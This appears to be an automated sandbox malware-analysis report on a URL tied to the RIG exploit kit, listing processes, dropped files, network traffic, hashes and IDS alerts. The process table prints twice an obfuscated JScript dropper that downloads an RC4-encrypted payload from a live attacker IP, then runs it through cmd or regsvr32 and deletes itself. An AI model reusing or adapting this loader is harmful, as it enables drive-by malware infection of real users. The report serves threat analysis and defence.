analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| URL: | http://cloudvideo.tv/yn06tacmwear |
| Full analysis: | https://app.any.run/tasks/30ebb8f8-4ce3-4f96-a59e-d8d877890934 |
| Verdict: | Malicious activity |
| Analysis date: | March 31, 2020, 04:42:41 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MD5: | 090678409943F442A70204830AEAA651 |
| SHA1: | 079E4853BD5D47DA1135B563A186E363D97C63AB |
| SHA256: | 14334875F4BB32E20260A1DBFCA769B7D995DD08661BA64C169A69770EAA619A |
| SSDEEP: | 3:N1KdJKQBT8LECn:CyLhn |
MALICIOUS
Application was dropped or rewritten from another process
- c2wmpbkp.exe (PID: 3992)
- 2rl1hr12.exe (PID: 1688)
Starts CMD.EXE for commands execution
- iexplore.exe (PID: 3248)
- iexplore.exe (PID: 2136)
- iexplore.exe (PID: 1196)
- iexplore.exe (PID: 2816)
Registers / Runs the DLL via REGSVR32.EXE
- cmd.exe (PID: 3080)
- cmd.exe (PID: 3908)
SUSPICIOUS
Executed via COM
- FlashUtil32_26_0_0_131_ActiveX.exe (PID: 2896)
Executable content was dropped or overwritten
- wscript.exe (PID: 1468)
- wscript.exe (PID: 2532)
Starts CMD.EXE for commands execution
- wscript.exe (PID: 1468)
- wscript.exe (PID: 2532)
- wscript.exe (PID: 3548)
- wscript.exe (PID: 3776)
Executes scripts
- cmd.exe (PID: 2668)
- cmd.exe (PID: 1500)
- cmd.exe (PID: 3808)
- cmd.exe (PID: 3200)
Reads internet explorer settings
- mmc.exe (PID: 1520)
INFO
Reads Internet Cache Settings
- iexplore.exe (PID: 2524)
- iexplore.exe (PID: 2400)
- iexplore.exe (PID: 3248)
- iexplore.exe (PID: 2136)
- iexplore.exe (PID: 1196)
- iexplore.exe (PID: 2816)
Changes internet zones settings
- iexplore.exe (PID: 2524)
Reads internet explorer settings
- iexplore.exe (PID: 2400)
- iexplore.exe (PID: 3248)
- iexplore.exe (PID: 2136)
- iexplore.exe (PID: 1196)
- iexplore.exe (PID: 2816)
- iexplore.exe (PID: 3260)
Creates files in the user directory
- iexplore.exe (PID: 2400)
- FlashUtil32_26_0_0_131_ActiveX.exe (PID: 2896)
- iexplore.exe (PID: 2524)
- iexplore.exe (PID: 3248)
Application launched itself
- iexplore.exe (PID: 2524)
Manual execution by user
- mmc.exe (PID: 1520)
- mmc.exe (PID: 332)
Reads settings of System Certificates
- iexplore.exe (PID: 3248)
- iexplore.exe (PID: 2524)
Changes settings of System certificates
- iexplore.exe (PID: 2524)
Adds / modifies Windows certificates
- iexplore.exe (PID: 2524)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
76
Monitored processes
26
Malicious processes
5
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2524 | "C:\Program Files\Internet Explorer\iexplore.exe" "http://cloudvideo.tv/yn06tacmwear" | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 2400 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2524 CREDAT:267521 /prefetch:2 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 2896 | C:\Windows\system32\Macromed\Flash\FlashUtil32_26_0_0_131_ActiveX.exe -Embedding | C:\Windows\system32\Macromed\Flash\FlashUtil32_26_0_0_131_ActiveX.exe | — | svchost.exe | |||||||||||
User: admin Company: Adobe Systems Incorporated Integrity Level: MEDIUM Description: Adobe® Flash® Player Installer/Uninstaller 26.0 r0 Version: 26,0,0,131 Modules
| |||||||||||||||
| 3248 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2524 CREDAT:1053962 /prefetch:2 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 3221225477 Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 2668 | cmd.exe /q /c cd /d "%tmp%" && echo function O(l){var w="pow",j=36;return A.round((A[w](j,l+1)-A.random()*A[w](j,l))).toString(j)["slice"](1)};function V(k){var y=Q;y["set"+"Proxy"](n);y.open("GET",k(1),1);y.Option(n)=k(2);y.send();y./**/WaitForResponse();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e["cha"+"rCodeAt"](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join("")};try{var u=WScript,o="Object",A=Math,a=Function("b","return u.Create"+o+"(b)");P=(""+u).split(" ")[1],M="indexOf",q=a(P+"ing.FileSystem"+o),m=u.Arguments,e="WinHTTP",Z="cmd",Q=a("WinHttp.WinHttpRequest.5.1"),j=a("W"+P+".Shell"),s=a("ADODB.Stream"),x=O(8)+".",p="exe",n=0,K=u[P+"FullName"],E="."+p;s.Type=2;s.Charset="iso-8859-1";s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]("PE\x00\x00"));s.WriteText(v);if(31^<d){var z=1;x+="dll"}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x="regsvr"+32+E+" /s "+x);j.run(Z+E+" /c "+x,0)}catch(xX){};q.Deletefile(K);>1.tmp && stArt wsCripT //B //E:JScript 1.tmp "saN9km3wuzfgdfg" "http://185.43.4.172/?MjA3OTkz&MuVx&GfNKuMqG=difference&HcNZdQDll=accelerator&t4gfgfdf4=hGHLw1jlN9VWgtF8Pj4iEnVyBKUiJPQ-hGINQxB_ZqcFLI50F2hyLYkccggwxaE7mRV_OxAElkW0Q&OHOe=abettor&mEYeoY=accelerator&cDh=border&xDphU=callous&ABphpu=filly&f54hgffs=xXfQMvWabRXQDJ3EKv3cT6NCMVHRGkCL2YedmrHXefjaclWkzrTFTF_6ozKAQgSG6_VtdfJZDQDpi&cCa=mustard&rXyqbpU=abettor&ZAXjyFB=community&MLhly=professional&heRJ=difference&HNuBhRewNjI2NzAw" "¤" | C:\Windows\system32\cmd.exe | — | iexplore.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1468 | wsCripT //B //E:JScript 1.tmp "saN9km3wuzfgdfg" "http://185.43.4.172/?MjA3OTkz&MuVx&GfNKuMqG=difference&HcNZdQDll=accelerator&t4gfgfdf4=hGHLw1jlN9VWgtF8Pj4iEnVyBKUiJPQ-hGINQxB_ZqcFLI50F2hyLYkccggwxaE7mRV_OxAElkW0Q&OHOe=abettor&mEYeoY=accelerator&cDh=border&xDphU=callous&ABphpu=filly&f54hgffs=xXfQMvWabRXQDJ3EKv3cT6NCMVHRGkCL2YedmrHXefjaclWkzrTFTF_6ozKAQgSG6_VtdfJZDQDpi&cCa=mustard&rXyqbpU=abettor&ZAXjyFB=community&MLhly=professional&heRJ=difference&HNuBhRewNjI2NzAw" "¤" | C:\Windows\system32\wscript.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2692 | "C:\Windows\System32\cmd.exe" /c c2wmpbkp.exe | C:\Windows\System32\cmd.exe | — | wscript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3992 | c2wmpbkp.exe | C:\Users\admin\AppData\Local\Temp\Low\c2wmpbkp.exe | — | cmd.exe | |||||||||||
User: admin Company: VideoLAN Integrity Level: LOW Description: VLC media player Version: 2.2.4 Modules
| |||||||||||||||
| 2136 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2524 CREDAT:1185030 /prefetch:2 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 3221225477 Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 1500 | cmd.exe /q /c cd /d "%tmp%" && echo function O(l){var w="pow",j=36;return A.round((A[w](j,l+1)-A.random()*A[w](j,l))).toString(j)["slice"](1)};function V(k){var y=Q;y["set"+"Proxy"](n);y.open("GET",k(1),1);y.Option(n)=k(2);y.send();y./**/WaitForResponse();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e["cha"+"rCodeAt"](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join("")};try{var u=WScript,o="Object",A=Math,a=Function("b","return u.Create"+o+"(b)");P=(""+u).split(" ")[1],M="indexOf",q=a(P+"ing.FileSystem"+o),m=u.Arguments,e="WinHTTP",Z="cmd",Q=a("WinHttp.WinHttpRequest.5.1"),j=a("W"+P+".Shell"),s=a("ADODB.Stream"),x=O(8)+".",p="exe",n=0,K=u[P+"FullName"],E="."+p;s.Type=2;s.Charset="iso-8859-1";s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]("PE\x00\x00"));s.WriteText(v);if(31^<d){var z=1;x+="dll"}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x="regsvr"+32+E+" /s "+x);j.run(Z+E+" /c "+x,0)}catch(xX){};q.Deletefile(K);>1.tmp && stArt wsCripT //B //E:JScript 1.tmp "saN9km3wuzfgdfg" "http://185.43.4.172/?MTMyODA1&qZKFbwirI&XbGcBzAM=disagree&KvXNX=abettor&f54hgffs=w3fQMvXcJxnQFYbGMvzDSKNbNkbWHViPxomG9MildZiqZGX_k7TDfF-qoVXcCgWRxfQuJ&OezwjpYG=community&ombdBBXsP=everyone&fzTxliEd=everyone&kTEjHBlo=filly&t4gfgfdf4=eZXaQXjhRSIKgw3zdhbUlIS86Gq3EnRzEKYgp-K_RaPYQIR-KKWErk731TwzrckLYsk9w&TRncvh=irreverent&tnVMljZnn=filly&PCw=accelerator&zfWJN=mustard&rSdP=dinamic&ZdSMpbLDp=callous&QNyABWMjc3NjMy" "¤" | C:\Windows\system32\cmd.exe | — | iexplore.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
7 604
Read events
2 152
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
104
Text files
81
Unknown types
57
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2400 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\Low\Cab7864.tmp | — | |
MD5:— | SHA256:— | |||
| 2400 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\Low\Tar7865.tmp | — | |
MD5:— | SHA256:— | |||
| 2400 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\DY534W2X\yn06tacmwear[1].htm | html | |
MD5:CDA6327E85D9341FFD51D2C16B597C2C | SHA256:2AD0D4BF7C512E1606645291CE80ECC79F58F6093D1E6D372EBA2F82E7CEBCF0 | |||
| 2400 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\MFAQUS6V\logo5[1].png | image | |
MD5:0EF7442189210CBD2EB857D8C506A10C | SHA256:82BE77188576A0A9B0C3F31694EF59C1BA7BA2459D5555B33BA0B52FA7FA8E80 | |||
| 2400 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\5IWPIAR9\main[1].css | text | |
MD5:49FDADD5EFBAB082CC3118C0BFB11782 | SHA256:70CD2F22BFAD5C10E06110DB52B58EFA57ABE3AF1C640372E209D142DA5379CC | |||
| 2400 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3FA0F92EA40DC353FF9E95B9F7D06EAF_02A7BB8D663AB0A2D3E0CE44422ED38B | — | |
MD5:— | SHA256:— | |||
| 2400 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\MSIMGSIZ.DAT | smt | |
MD5:0392ADA071EB68355BED625D8F9695F3 | SHA256:B1313DD95EAF63F33F86F72F09E2ECD700D11159A8693210C37470FCB84038F7 | |||
| 2400 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_74167E25E5476CCA2A5946AAA61BF9E1 | der | |
MD5:907131A56BA168672FD6DCA3988E2A2B | SHA256:7A4D281C2E93B883F2A05E43F75A91BCA5F83FB3F1FE3AC84FDA45D6146BAB05 | |||
| 2400 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8828F39C7C0CE9A14B25C7EB321181BA_BD8B98368542C3BBAE3413A0EF3BB623 | binary | |
MD5:771E0B7BD4534A7D5BC5682F62C4113E | SHA256:4A6EA13F63635A7476063E06B601917BA48D801D86E4A47B88A133ED5EF0A3B5 | |||
| 2400 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\5IWPIAR9\popper.min[1].js | text | |
MD5:26F8C0B1CEE4967FC364F4D09C271FCF | SHA256:5461BC3E023F6766ACEFC0B134DF5C640EEF4976B3BC2E388738F23FDECFE7F6 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
64
TCP/UDP connections
111
DNS requests
42
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2400 | iexplore.exe | GET | 301 | 104.26.11.87:80 | http://cloudvideo.tv/yn06tacmwear | US | — | — | whitelisted |
2400 | iexplore.exe | GET | 200 | 216.58.208.35:80 | http://ocsp.pki.goog/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjtJqhjYqpgSVpULg%3D | US | der | 468 b | whitelisted |
2400 | iexplore.exe | GET | 200 | 23.37.43.27:80 | http://s.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD%2BOyl%2B0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCEGMYDTj7gJd4qdA1oxYY%2BEA%3D | NL | der | 1.71 Kb | shared |
2400 | iexplore.exe | GET | 200 | 23.37.43.27:80 | http://s.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD%2BOyl%2B0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCEGMYDTj7gJd4qdA1oxYY%2BEA%3D | NL | der | 1.71 Kb | shared |
2400 | iexplore.exe | GET | 200 | 216.58.208.35:80 | http://ocsp.pki.goog/gts1o1/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQDy4NKedukSQwgAAAAAMgpY | US | der | 472 b | whitelisted |
2400 | iexplore.exe | GET | 200 | 216.58.208.35:80 | http://ocsp.pki.goog/gts1o1/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQDy4NKedukSQwgAAAAAMgpY | US | der | 472 b | whitelisted |
2400 | iexplore.exe | GET | 200 | 216.58.208.35:80 | http://ocsp.pki.goog/gts1o1/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQDy4NKedukSQwgAAAAAMgpY | US | der | 472 b | whitelisted |
2400 | iexplore.exe | GET | 200 | 216.58.208.35:80 | http://ocsp.pki.goog/gts1o1/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQDy4NKedukSQwgAAAAAMgpY | US | der | 472 b | whitelisted |
2400 | iexplore.exe | GET | 200 | 216.58.208.35:80 | http://ocsp.pki.goog/gts1o1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEFeh1L3VO0beCAAAAAAyCgc%3D | US | der | 471 b | whitelisted |
2400 | iexplore.exe | GET | 200 | 216.58.208.35:80 | http://ocsp.pki.goog/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjtJqhjYqpgSVpULg%3D | US | der | 468 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2400 | iexplore.exe | 93.184.220.29:80 | ocsp.digicert.com | MCI Communications Services, Inc. d/b/a Verizon Business | US | whitelisted |
2400 | iexplore.exe | 104.26.11.87:80 | cloudvideo.tv | Cloudflare Inc | US | shared |
2400 | iexplore.exe | 104.26.11.87:443 | cloudvideo.tv | Cloudflare Inc | US | shared |
2400 | iexplore.exe | 143.204.208.42:443 | d1r90st78epsag.cloudfront.net | — | US | unknown |
2400 | iexplore.exe | 216.58.206.8:443 | www.googletagmanager.com | Google Inc. | US | whitelisted |
2400 | iexplore.exe | 23.37.43.27:80 | s.symcd.com | Akamai Technologies, Inc. | NL | whitelisted |
2524 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
2400 | iexplore.exe | 216.58.208.35:80 | ocsp.pki.goog | Google Inc. | US | whitelisted |
2400 | iexplore.exe | 172.217.18.10:443 | fonts.googleapis.com | Google Inc. | US | whitelisted |
2400 | iexplore.exe | 52.72.152.124:443 | famountsuref.site | Amazon.com, Inc. | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
cloudvideo.tv |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
api.bing.com |
| whitelisted |
www.bing.com |
| whitelisted |
d1r90st78epsag.cloudfront.net |
| shared |
www.googletagmanager.com |
| whitelisted |
fonts.googleapis.com |
| whitelisted |
s.symcd.com |
| shared |
ocsp.pki.goog |
| whitelisted |
fonts.gstatic.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3248 | iexplore.exe | A Network Trojan was detected | ET CURRENT_EVENTS RIG EK URI Struct Jun 13 2017 |
1468 | wscript.exe | A Network Trojan was detected | ET CURRENT_EVENTS RIG EK URI Struct Jun 13 2017 |
1468 | wscript.exe | Potentially Bad Traffic | ET USER_AGENTS Observed Suspicious UA (xa4) |
660 | WerFault.exe | Potential Corporate Privacy Violation | ET POLICY Application Crash Report Sent to Microsoft |
660 | WerFault.exe | Unknown Traffic | ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW) |
2136 | iexplore.exe | A Network Trojan was detected | ET CURRENT_EVENTS RIG EK URI Struct Jun 13 2017 |
2532 | wscript.exe | A Network Trojan was detected | ET CURRENT_EVENTS RIG EK URI Struct Mar 13 2017 M2 |
2532 | wscript.exe | Potentially Bad Traffic | ET USER_AGENTS Observed Suspicious UA (xa4) |
1196 | iexplore.exe | A Network Trojan was detected | ET CURRENT_EVENTS RIG EK URI Struct Jun 13 2017 |
3548 | wscript.exe | A Network Trojan was detected | ET CURRENT_EVENTS RIG EK URI Struct Jun 13 2017 |
4 ETPRO signatures available at the full report